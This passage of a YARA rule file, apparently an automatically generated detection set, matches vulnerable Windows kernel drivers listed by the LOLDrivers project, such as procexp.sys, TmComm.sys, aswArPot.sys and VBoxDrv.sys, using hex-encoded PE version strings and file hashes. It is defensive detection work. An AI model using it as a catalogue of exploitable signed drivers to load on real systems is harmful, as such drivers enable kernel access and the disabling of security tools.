		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - EIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "cf69704755ec2643dfd245ae1d4e15d77f306aeb1a576ffa159453de1a7345cb"
		date = "2023-06-14"
		score = 40
		id = "609554bc-0f2f-5861-ad56-fc7a772459a6"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00390037 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00390037 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00450049004f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00450049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003000340020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_4408
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "440883cd9d6a76db5e53517d0ec7fe13d5a50d2f6a7f91ecfc863bc3490e4f5c"
		date = "2023-06-14"
		score = 40
		id = "d5bbf94d-394a-599e-93f3-6f9d79cca02f"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340033 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340033 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Rivetnetworksllc_Kfecodrvsys_Killertrafficcontrol_B583
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - KfeCo10X64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "b583414fcee280128788f7b39451c511376fe821f455d4f3702795e96d560704"
		date = "2023-06-14"
		score = 40
		id = "eff26fc8-a458-5c15-8a0b-86773f8f6289"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c002000430061006c006c006f007500740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0037002e0034002e00310031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0037002e0034002e00310031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d00320030003100380020005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_ED2F
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ed2f33452ec32830ffef2d5dc832985db9600c306ed890c47f3f33ccbb335c39"
		date = "2023-06-14"
		score = 40
		id = "288ce092-a3f2-57d0-9d28-a0c4b6faa52f"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00380030002e0030002e0031003000360033 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00380030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibxsys_Ntiolib_09BE
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "09bedbf7a41e0f8dabe4f41d331db58373ce15b2e9204540873a1884f38bdde1"
		date = "2023-06-14"
		score = 40
		id = "30b7487c-d5b7-52b1-a209-f6eb01f0f406"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_A802
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "a8027daa6facf1ff81405daf6763249e9acf232a1a191b6bf106711630e6188e"
		date = "2023-06-14"
		score = 40
		id = "9cb0be23-e1d9-5698-bde2-81a870f81f83"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0031003100320031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_0F01
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "0f016c80c4938fbcd47a47409969b3925f54292eba2ce01a8e45222ce8615eb8"
		date = "2023-06-14"
		score = 40
		id = "0328757c-e561-567c-b7ad-7e6bcba19bb5"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_7539
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7539157df91923d4575f7f57c8eb8b0fd87f064c919c1db85e73eebb2910b60c"
		date = "2023-06-14"
		score = 40
		id = "5ccaf486-04c4-5066-b307-e76b6e484d01"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e007200340039003300310035 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e007200340039003300310035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_478D
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "478d855b648ef4501d3b08b3b10e94076ac67546b0ce86b454324f1bf9a78aa0"
		date = "2023-06-14"
		score = 40
		id = "13ee4d76-b778-593e-85e6-8402d01352e8"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000380032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Activeclean_A903
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "a903f329b70f0078197cb7683aae1bb432eaf58572fe572f7cb4bc2080042d7e"
		date = "2023-06-14"
		score = 40
		id = "3142d323-869f-5e25-b860-da2c34f659ce"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0030002e0031003000350032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006300740069007600650043006c00650061006e }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_3FF3
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3ff39728f1c11d1108f65ec5eb3d722fd1a1279c530d79712e0d32b34880baaa"
		hash = "86721ee8161096348ed3dbe1ccbf933ae004c315b1691745a8af4a0df9fed675"
		date = "2023-06-14"
		score = 40
		id = "ce58b5cb-437a-56b2-8ccb-9399ce2ef6c3"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00340030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00340030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310030 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_BDBC
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "bdbceca41e576841cad2f2b38ee6dbf92fd77fbbfdfe6ecf99f0623d44ef182c"
		date = "2023-06-14"
		score = 40
		id = "a101f69b-ca19-5aeb-a168-1a10dbd6ec12"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00300031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00300031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300037 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_7837
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7837cb350338c4958968d06b105466da6518f5bb522a6e70e87c0cad85128408"
		date = "2023-06-14"
		score = 40
		id = "47963173-d9a8-5a16-9959-d99e6e8920f3"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000350036 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_0B2A
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "0b2ad05939b0aabbdc011082fad7960baa0c459ec16a2b29f37c1fa31795a46d"
		date = "2023-06-14"
		score = 40
		id = "9e448b85-4455-5a80-9147-e6c83b1427aa"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0037002e0034003000330031002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0037002e0034003000330031002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Copyright_Advancedmalwareprotection_6F55
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amsdk.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "6f55c148bb27c14408cf0f16f344abcd63539174ac855e510a42d78cfaec451c"
		date = "2023-06-14"
		score = 40
		id = "6eb82ac7-9544-5554-b7af-557dd843d29d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041006400760061006e0063006500640020004d0061006c0077006100720065002000500072006f00740065006300740069006f006e }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007000790072006900670068007400200032003000310038002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e003000300030 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006400760061006e0063006500640020004d0061006c0077006100720065002000500072006f00740065006300740069006f006e }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005a0041004d002e006500780065 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200032003000310038002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_EEA5
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "eea53103e7a5a55dc1df79797395a2a3e96123ebd71cdd2db4b1be80e7b3f02b"
		date = "2023-06-14"
		score = 40
		id = "2942b5b0-7270-5b7a-98f7-beee11e7aa57"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200032002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_2D2C
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2d2c7ee9547738a8a676ab785c151e8b48ed40fe7cf6174650814c7f5f58513b"
		date = "2023-06-14"
		score = 40
		id = "f2aefc0c-b851-5341-acee-20d02c838548"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00360020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0036 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003200200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_5CFA
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "5cfad3d473961763306d72c12bd5ae14183a1a5778325c9acacca764b79ca185"
		date = "2023-06-14"
		score = 40
		id = "a563b3de-1a05-55bf-ae93-03e84ef1cb26"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003800200045006c00610062006f0072006100740065002000420079007400650073002000410047 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_119C
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "119c48b79735fda0ecd973d77d9bdc6b329960caed09b38ab454236ca039d280"
		date = "2023-06-14"
		score = 40
		id = "abb75d3f-eeb2-5ae7-976a-3f9e8627d6ca"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f00360034 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e00310031002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e00310031002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f00360034002e007300790073 }
